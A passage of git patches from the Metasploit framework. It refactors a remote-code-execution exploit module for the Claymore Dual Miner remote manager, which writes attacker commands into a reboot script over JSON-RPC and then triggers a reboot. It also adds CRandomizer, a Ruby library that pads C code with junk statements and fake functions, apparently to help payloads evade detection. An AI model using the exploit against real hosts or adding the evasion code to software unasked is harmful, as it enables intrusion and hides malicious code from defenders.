\"#{cmd}\"]}" + upload = { + "id" => 0, + "jsonrpc" => '2.0', + "method" => 'miner_file', + "params" => ['reboot.bash', "#{cmd}"] + }.to_json when 'windows' - upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bat\", \"#{cmd}\"]}" + upload = { + "id" => 0, + "jsonrpc" => '2.0', + "method" => 'miner_file', + "params" => ['reboot.bat', "#{cmd}"] + }.to_json end begin connect @@ -105,7 +115,12 @@ class MetasploitModule < Msf::Exploit::Remote end def check - data = '{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}' + data = { + "id" => 0, + "jsonrpc" => '2.0', + "method" => 'miner_getfile', + "params" => ['config.txt'] + }.to_json connect sock.put(data) buf = sock.get_once || '' From ae3e8dab787cc571cd28c2efdce37f79ab021658 Mon Sep 17 00:00:00 2001 From: phra Date: Fri, 1 Jun 2018 16:58:26 +0200 Subject: [PATCH 038/217] chore: update references --- .../multi/misc/claymore_dual_miner_remote_manager_rce.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index 2f9d5b987a..0240b59c31 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -26,8 +26,9 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000049'], - ['CVE', '2018-1000049'] + ['EDB', '44638'], + ['CVE', '2018-1000049'], + ['URL', 'https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/'] ], 'Platform' => ['win', 'linux'], 'Targets' => From e9db9494185fd429b99acc8bd1fb51b1cf0225c2 Mon Sep 17 00:00:00 2001 From: phra Date: Fri, 1 Jun 2018 16:59:38 +0200 Subject: [PATCH 039/217] refactor: replace last string with hash --- .../multi/misc/claymore_dual_miner_remote_manager_rce.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index 0240b59c31..915ba44741 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -96,7 +96,11 @@ class MetasploitModule < Msf::Exploit::Remote end def trigger_vulnerability - execute = '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}' + execute = { + "id" => 0, + "jsonrpc" => '2.0', + "method" => 'miner_reboot' + }.to_json connect sock.put(execute) buf = sock.get_once || '' From e42c695bafe6db4dd5786026818b876e5392187c Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 21 Jun 2018 10:50:39 -0500 Subject: [PATCH 040/217] Add CRandomizer (WIP) --- .../obfuscation/crandomimzer/code_factory.rb | 18 +++ .../crandomimzer/code_factory/base.rb | 32 ++++ .../code_factory/fake_function.rb | 45 ++++++ .../code_factory/fake_function_collection.rb | 68 +++++++++ .../crandomimzer/code_factory/gettickcount.rb | 48 ++++++ .../crandomimzer/code_factory/if.rb | 68 +++++++++ .../code_factory/int_assignments.rb | 24 +++ .../crandomimzer/code_factory/malloc.rb | 30 ++++ .../code_factory/outputdebugstring.rb | 48 ++++++ .../crandomimzer/code_factory/printf.rb | 29 ++++ .../code_factory/string_assignments.rb | 24 +++ .../crandomimzer/code_factory/switch.rb | 60 ++++++++ .../code_factory/uninit_variables.rb | 47 ++++++ .../obfuscation/crandomimzer/modifier.rb | 144 ++++++++++++++++++ .../obfuscation/crandomimzer/parser.rb | 39 +++++ .../crandomimzer/random_statements.rb | 0 .../obfuscation/crandomimzer/utility.rb | 40 +++++ 17 files changed, 764 insertions(+) create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/code_factory.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/code_factory/base.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/code_factory/fake_function.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/code_factory/fake_function_collection.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/code_factory/gettickcount.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/code_factory/if.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/code_factory/int_assignments.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/code_factory/malloc.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/code_factory/outputdebugstring.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/code_factory/printf.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/code_factory/string_assignments.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/code_factory/switch.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/code_factory/uninit_variables.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/modifier.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/parser.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/random_statements.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/utility.rb diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory.rb b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory.rb new file mode 100644 index 0000000000..5e387ed60d --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory.rb @@ -0,0 +1,18 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory/base' + +# Used as random statements + +require 'metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/if' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/malloc' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/printf' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/switch' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables' + +# Random functions + +require 'metasploit/framework/obfuscation/crandomizer/code_factory/fake_function' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection' \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/base.rb b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/base.rb new file mode 100644 index 0000000000..e8dfb6a6e2 --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/base.rb @@ -0,0 +1,32 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + module CodeFactory + + class Base + attr_reader :dep + attr_reader :code + + def initialize + @dep = '' + @code = normalized_stub + end + + def stub + raise NotImplementedError + end + + def normalized_stub + stub_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(stub) + stub_parser.toplevel.statements.last.var.initializer.statements + end + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/fake_function.rb b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/fake_function.rb new file mode 100644 index 0000000000..af7d67de23 --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/fake_function.rb @@ -0,0 +1,45 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + module CodeFactory + + class FakeFunction + attr_reader :attribute + attr_reader :return_type + attr_reader :args + attr_reader :function_name + + def initialize(func_name) + @attribute = ['', ' __attribute__((export))'].sample + @return_type = ['int', 'char*', 'void', ].sample + @args = ['int i', 'char* s', 'void'].sample + @function_name = func_name + end + + def generate_body + case return_type + when 'int' + rand_return_val = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int + return_statement = %Q|return #{rand_return_val};| + when 'char*' + rand_return_str = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string + return_statement = %Q|return "#{rand_return_str}";| + else + return_statement = '' + end + + %Q| + #{return_type} #{function_name}#{attribute}(#{args}) { + #{return_statement} + }| + end + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/fake_function_collection.rb b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/fake_function_collection.rb new file mode 100644 index 0000000000..a7d5a329d1 --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/fake_function_collection.rb @@ -0,0 +1,68 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + module CodeFactory + + class FakeFunctionCollection + attr_accessor :functions + attr_reader :max_functions + + def initialize(max_functions) + @functions = [] + @max_functions = max_functions + populate + self + end + + def each + functions.each do |f| + yield f + end + end + + def sample + functions.sample + end + + def to_s + functions.join("\n") + end + + def has_function_name?(name) + functions.each do |f| + if f.var.name == name + return true + end + end + + false + end + + def empty? + functions.empty? + end + + private + + def populate + max_functions.times do |i| + func_name = "function#{i}" + fake_function = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunction.new(func_name) + function_code = fake_function.generate_body + stub_parser = Metasm::C::Parser.new + stub_parser.allow_bad_c = true + stub_parser.parse(function_code) + functions.concat(stub_parser.toplevel.statements) + end + end + end + end + + end + end + end + end +end diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/gettickcount.rb b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/gettickcount.rb new file mode 100644 index 0000000000..cc33dae2c3 --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/gettickcount.rb @@ -0,0 +1,48 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/base' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + module CodeFactory + + class GetTickCount < Base + def stub + [ + Proc.new { single_gettickcount }, + Proc.new { diff_gettickcount } + ].sample.call + end + + private + + def single_gettickcount + %Q| + int GetTickCount(); + void stub() { + GetTickCount(); + }| + end + + def diff_gettickcount + var_name_1 = "tickcount_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" + var_name_2 = "tickcount_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" + + %Q| + int GetTickCount(); + void stub() { + int #{var_name_1} = GetTickCount(); + int #{var_name_2} = GetTickCount(); + if (#{var_name_2} - #{var_name_1} > 100) { + #{var_name_1} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + } + }| + end + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/if.rb b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/if.rb new file mode 100644 index 0000000000..bac64dbcf6 --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/if.rb @@ -0,0 +1,68 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/base' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + module CodeFactory + + class If < Base + def stub + [ + Proc.new { if_stub }, + Proc.new { if_if_else_stub }, + Proc.new { if_else_stub } + ].sample.call + end + + private + + def if_stub + var_name = "xforif#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" + + %Q| + void stub() { + int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + if (#{var_name}) { + #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + } + }| + end + + def if_if_else_stub + var_name = "xforif2#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" + + %Q| + void stub() { + int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + if (#{var_name}) { + #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + } else if (#{var_name} == #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}) { + #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + } else { + #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + } + }| + end + + def if_else_stub + var_name = "xorif3_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" + + %Q| + void stub() { + signed #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + if (#{var_name} == #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}) { + #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + } else { + #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + } + }| + end + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/int_assignments.rb b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/int_assignments.rb new file mode 100644 index 0000000000..28b9a0abd3 --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/int_assignments.rb @@ -0,0 +1,24 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/base' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + module CodeFactory + + class IntAssignments < Base + def stub + var_name = "fakeint_#{Metasploit::Framework::CRandomizer::Utility.rand_int}" + %Q| + void stub() { + int #{var_name} = #{Metasploit::Framework::CRandomizer::Utility.rand_int}; + }| + end + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/malloc.rb b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/malloc.rb new file mode 100644 index 0000000000..3129a8e439 --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/malloc.rb @@ -0,0 +1,30 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/base' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + module CodeFactory + + class Malloc < Base + def initialize + super + @dep = ['stdlib.h'] + end + + def stub + var_name = "m#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" + %Q| + void* malloc(unsigned int); + void stub() { + void* #{var_name} = malloc(#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}); + }| + end + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/outputdebugstring.rb b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/outputdebugstring.rb new file mode 100644 index 0000000000..d5a82287ee --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/outputdebugstring.rb @@ -0,0 +1,48 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/base' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + module CodeFactory + + class OutputDebugString < Base + def initialize + super + @dep = 'Windows.h' + end + + def stub + [ + Proc.new { outputdebugstring_1 }, + Proc.new { outputdebugstring_2 } + ].sample.call + end + + private + + def outputdebugstring_1 + %Q| + void OutputDebugString(const char*); + void stub() { + OutputDebugString("#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}"); + }| + end + + def outputdebugstring_2 + var_name = "msg#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" + %Q| + void OutputDebugString(const char*); + void stub() { + char* #{var_name} = "#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}"; + OutputDebugString(#{var_name}); + }| + end + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/printf.rb b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/printf.rb new file mode 100644 index 0000000000..cd80470e77 --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/printf.rb @@ -0,0 +1,29 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/base' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + module CodeFactory + + class Printf < Base + def initialize + super + @dep = '' + end + + def stub + %Q| + int printf(const char*); + void stub() { + printf("#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}"); + }| + end + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/string_assignments.rb b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/string_assignments.rb new file mode 100644 index 0000000000..c501472a8f --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/string_assignments.rb @@ -0,0 +1,24 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/base' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + module CodeFactory + + class StringAssignments < Base + def stub + var_name = "fake_string_#{Metasploit::Framework::CRandomizer::Utility.rand_int}" + %Q| + void stub() { + const char* #{var_name} = "#{Metasploit::Framework::CRandomizer::Utility.rand_string}"; + }| + end + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/switch.rb b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/switch.rb new file mode 100644 index 0000000000..68b331a64f --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/switch.rb @@ -0,0 +1,60 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/base' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + module CodeFactory + + class Switch < Base + def stub + [ + Proc.new { switch_1 }, + Proc.new { switch_2 } + ].sample.call + end + + private + + def switch_1 + var_name_1 = "x#{Metasploit::Framework::CRandomizer::Utility.rand_int}" + var_name_2 = "y#{Metasploit::Framework::CRandomizer::Utility.rand_int}" + var_name_3 = "delta#{Metasploit::Framework::CRandomizer::Utility.rand_int}" + + %Q| + int GetTickCount(); + + void stub() { + int #{var_name_1} = GetTickCount(); + int #{var_name_2} = GetTickCount(); + int #{var_name_3} = #{var_name_2} - #{var_name_1}; + switch(#{var_name_3}) { + case #{Metasploit::Framework::CRandomizer::Utility.rand_int}: + #{var_name_2} = #{Metasploit::Framework::CRandomizer::Utility.rand_int}; + break; + default: + #{var_name_1} = #{Metasploit::Framework::CRandomizer::Utility.rand_int}; + } + }| + end + + def switch_2 + var_name = "rndnum#{Metasploit::Framework::CRandomizer::Utility.rand_int}" + %Q| + void stub() { + int #{var_name} = #{Metasploit::Framework::CRandomizer::Utility.rand_int}; + switch (#{var_name}) { + case #{Metasploit::Framework::CRandomizer::Utility.rand_int}: + #{var_name} = #{Metasploit::Framework::CRandomizer::Utility.rand_int}; + break; + } + }| + end + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/uninit_variables.rb b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/uninit_variables.rb new file mode 100644 index 0000000000..8ad2fda4c8 --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/uninit_variables.rb @@ -0,0 +1,47 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' +require 'metasploit/framework/obfuscation/crandomizer/code_factory/base' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + module CodeFactory + + class UninitVariables < Base + def stub + [ + Proc.new { char }, + Proc.new { int }, + Proc.new { string } + ].sample.call + end + + private + + def char + %Q| + void stub() { + char uninitcharvar#{CRandomizer::Utility.rand_int}; + }| + end + + def int + %Q| + void stub() { + int uninitintvar#{CRandomizer::Utility.rand_int}; + }| + end + + def string + %Q| + void stub() { + const char* uninitstringvar#{CRandomizer::Utility.rand_int}; + }| + end + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/modifier.rb b/lib/metasploit/framework/obfuscation/crandomimzer/modifier.rb new file mode 100644 index 0000000000..ea06643f95 --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/modifier.rb @@ -0,0 +1,144 @@ +require 'metasploit/framework/obfuscation/crandomizer/random_statements' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + + class Modifier + attr_reader :fake_functions + attr_reader :weight + + def initialize(f, w) + @fake_functions = f + @weight = w + end + + def modify_if_else_blocks(s) + modify_if(s) + modify_else_if(s) + modify_else(s) + s + end + + def modify_if(s) + new_if_statements = [] + + s.bthen.statements.each do |stmt| + modify_nested_blocks(stmt) + new_if_statements.concat(get_fake_statement) + new_if_statements << stmt + end + + s.bthen.statements = new_if_statements + end + + def modify_else_if(s) + # There could be multiple else if blocks, + # this gives the current else if block + elseif_block = s.belse + + while (elseif_block && elseif_block.respond_to?(:bthen)) do + new_else_if_statements = [] + + elseif_block.bthen.statements.each do |stmt| + modify_nested_blocks(stmt) + new_else_if_statements.concat(get_fake_statement) + new_else_if_statements << stmt + end + + elseif_block.bthen.statements = new_else_if_statements + + # Move on to the next else if block + elseif_block = elseif_block.belse + end + end + + def modify_else(s) + else_block = s.belse + + # The else block is retrieved this way when there is an else if block + else_block = s.belse.belse if s.belse.respond_to?(:belse) + + # There is really no else block, let's bail. + # return unless else_block + return unless else_block.respond_to?(:statements) + + new_else_statements = [] + + else_block.statements.each do |stmt| + modify_nested_blocks(stmt) + new_else_statements.concat(get_fake_statement) + new_else_statements << stmt + end + + else_block.statements = new_else_statements + end + + def modify_for(s) + new_for_statements = [] + + s.body.statements.each do |stmt| + modify_nested_blocks(stmt) + new_for_statements.concat(get_fake_statement) + new_for_statements << stmt + end + + s.body.statements = new_for_statements + + s + end + + def modify_nested_blocks(s) + case s + when Metasm::C::If + modify_if_else_blocks(s) + when Metasm::C::For + modify_for(s) + end + end + + def modify_function(s) + function_statements = s.var.initializer.statements + new_function_statements = [] + + function_statements.each do |func_stmt| + unless feeling_lucky? + new_function_statements << func_stmt + next + end + + case func_stmt + when Metasm::C::If + new_function_statements << modify_if_else_blocks(func_stmt) + when Metasm::C::For + new_function_statements << modify_for(func_stmt) + else + new_function_statements.concat(get_fake_statement(s)) + new_function_statements << func_stmt + end + end + + unless new_function_statements.empty? + s.var.initializer.statements = new_function_statements + end + end + + private + + def get_fake_statement(s=nil) + random_statements = Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements.new(fake_functions, s) + random_statements.get + end + + def feeling_lucky? + n = (rand * 100).to_i + weight >= n + end + + end + + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/parser.rb b/lib/metasploit/framework/obfuscation/crandomimzer/parser.rb new file mode 100644 index 0000000000..3ffebf4c8e --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/parser.rb @@ -0,0 +1,39 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' +require 'metasploit/framework/obfuscation/crandomizer/modifer' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + + class Parser + attr_accessor :max_random_weight + attr_accessor :fake_functions_collection + + def initialize(weight, fake_functions) + @max_random_weight = weight + @fake_functions_collection = fake_functions + end + + def parse(template) + modifier = Metasploit::Framework::Obfuscation::CRandomizer::Modifier.new(fake_functions_collection, max_random_weight) + + main_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(template) + main_parser.toplevel.statements.each do |s| + case s.var.type + when Metasm::C::Function + # Some function objects such as declarations don't really have + # any statements, if we run into something like that, skip it. + next unless s.var.initializer.respond_to?(:statements) + modifier.modify_function(s) + end + end + + main_parser + end + end + + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/random_statements.rb b/lib/metasploit/framework/obfuscation/crandomimzer/random_statements.rb new file mode 100644 index 0000000000..e69de29bb2 diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/utility.rb b/lib/metasploit/framework/obfuscation/crandomimzer/utility.rb new file mode 100644 index 0000000000..32d590e42d --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomimzer/utility.rb @@ -0,0 +1,40 @@ +require 'metasm' +require 'securerandom' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + + class Utility + + # Returns a random number. + # + # @return [Integer] + def self.rand_int + (SecureRandom.random_number * 100).to_i + end + + # Returns a random string. + # + # @return [String] + def self.rand_string + SecureRandom.hex + end + + # Returns a Metasm parser. + # + # @param code [String] The C code to parse. + # @return [Metasm::C::Parser] + def self.parse(code) + parser = Metasm::C::Parser.new + parser.allow_bad_c = true + parser.parse(code) + parser + end + end + + end + end + end +end \ No newline at end of file From 8f5ad7c1cb24ca34a202a1f09dfc063070c1297e Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 21 Jun 2018 14:33:04 -0500 Subject: [PATCH 041/217] Add CRandomizer --- .../crandomimzer/random_statements.rb | 0 .../framework/obfuscation/crandomizer.rb | 2 + .../code_factory.rb | 0 .../code_factory/base.rb | 0 .../code_factory/fake_function.rb | 0 .../code_factory/fake_function_collection.rb | 2 - .../code_factory/gettickcount.rb | 0 .../code_factory/if.rb | 0 .../code_factory/int_assignments.rb | 4 +- .../code_factory/malloc.rb | 0 .../code_factory/outputdebugstring.rb | 0 .../code_factory/printf.rb | 0 .../code_factory/string_assignments.rb | 4 +- .../code_factory/switch.rb | 20 ++-- .../code_factory/uninit_variables.rb | 6 +- .../{crandomimzer => crandomizer}/modifier.rb | 0 .../{crandomimzer => crandomizer}/parser.rb | 2 +- .../crandomizer/random_statements.rb | 95 +++++++++++++++++++ .../{crandomimzer => crandomizer}/utility.rb | 0 19 files changed, 115 insertions(+), 20 deletions(-) delete mode 100644 lib/metasploit/framework/obfuscation/crandomimzer/random_statements.rb create mode 100644 lib/metasploit/framework/obfuscation/crandomizer.rb rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/code_factory.rb (100%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/code_factory/base.rb (100%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/code_factory/fake_function.rb (100%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/code_factory/fake_function_collection.rb (99%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/code_factory/gettickcount.rb (100%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/code_factory/if.rb (100%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/code_factory/int_assignments.rb (67%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/code_factory/malloc.rb (100%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/code_factory/outputdebugstring.rb (100%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/code_factory/printf.rb (100%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/code_factory/string_assignments.rb (75%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/code_factory/switch.rb (52%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/code_factory/uninit_variables.rb (72%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/modifier.rb (100%) rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/parser.rb (94%) create mode 100644 lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb rename lib/metasploit/framework/obfuscation/{crandomimzer => crandomizer}/utility.rb (100%) diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/random_statements.rb b/lib/metasploit/framework/obfuscation/crandomimzer/random_statements.rb deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/metasploit/framework/obfuscation/crandomizer.rb b/lib/metasploit/framework/obfuscation/crandomizer.rb new file mode 100644 index 0000000000..30ba90fe63 --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomizer.rb @@ -0,0 +1,2 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory' +require 'metasploit/framework/obfuscation/crandomizer/parser' \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory.rb similarity index 100% rename from lib/metasploit/framework/obfuscation/crandomimzer/code_factory.rb rename to lib/metasploit/framework/obfuscation/crandomizer/code_factory.rb diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/base.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base.rb similarity index 100% rename from lib/metasploit/framework/obfuscation/crandomimzer/code_factory/base.rb rename to lib/metasploit/framework/obfuscation/crandomizer/code_factory/base.rb diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/fake_function.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function.rb similarity index 100% rename from lib/metasploit/framework/obfuscation/crandomimzer/code_factory/fake_function.rb rename to lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function.rb diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/fake_function_collection.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb similarity index 99% rename from lib/metasploit/framework/obfuscation/crandomimzer/code_factory/fake_function_collection.rb rename to lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb index a7d5a329d1..f11eab5700 100644 --- 